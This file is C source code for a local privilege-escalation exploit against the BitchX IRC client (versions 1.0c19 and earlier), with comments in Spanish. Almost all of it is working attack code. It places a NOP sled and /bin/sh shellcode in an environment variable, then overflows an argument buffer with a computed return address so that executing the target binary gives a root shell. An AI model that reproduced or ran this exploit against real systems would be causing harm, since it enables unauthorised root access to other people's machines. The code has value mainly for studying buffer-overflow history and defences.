// BitchX local-root by Sha0   (version 1.0c19 e inferiores  -todas-)
// este exploit se lo dedico a mi chica.
// 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
// 2052 to the ret

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char payload[69];
char sha0code[] = 
	"\xeb\x16\x5b\x31\xc0"
	"\x50\x53\xb0\x0b\x89"
	"\xdb\x89\xe1\x31\xd2"
	"\xcd\x80\x31\xc0\x40"
	"\x31\xdb\xcd\x80\xe8"
	"\xe5\xff\xff\xff\x2f"
	"\x62\x69\x6e\x2f\x73\x68";


void nopea (void);

int main (int argc, char **argv) {
	
	char *buff;
	char *arg1="bash";
	char *arg2="-c";
	char *arg[]={arg1,arg2,buff,NULL};
	char *env[]={"TERM=xterm",payload,NULL};
	char offset[]="";
	char sret[4];
	unsigned long lret;
	int i;

	if (argc != 2) {
		fprintf (stdout,"BitchX exploit Coded By Sha0\n");
		fprintf (stdout,"ej:  %s /usr/bin/BitchX\n\n",argv[0]);
		return (1);
	}

	buff = (char *)malloc (2100);
	bzero (buff,sizeof(buff));
	arg[2] = buff;
	
	nopea ();

	lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
	sret[0] = (0x000000ff & lret);
	sret[1] = (0x0000ff00 & lret) >> 8;
	sret[2] = (0x00ff0000 & lret) >> 16;
	sret[3] = (0xff000000 & lret) >> 24;

	for (i=0;i<2088;i+=4)		// 2088 tirando largo.
		memcpy (buff+i,sret,4);

	execve (argv[1],arg,env);
	perror ("execve()");

	free (buff);
	return  (0);
}


void nopea (void) {
        bzero (payload,sizeof(payload));
        memset (payload,0x90,sizeof(payload)-1);
        memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
}
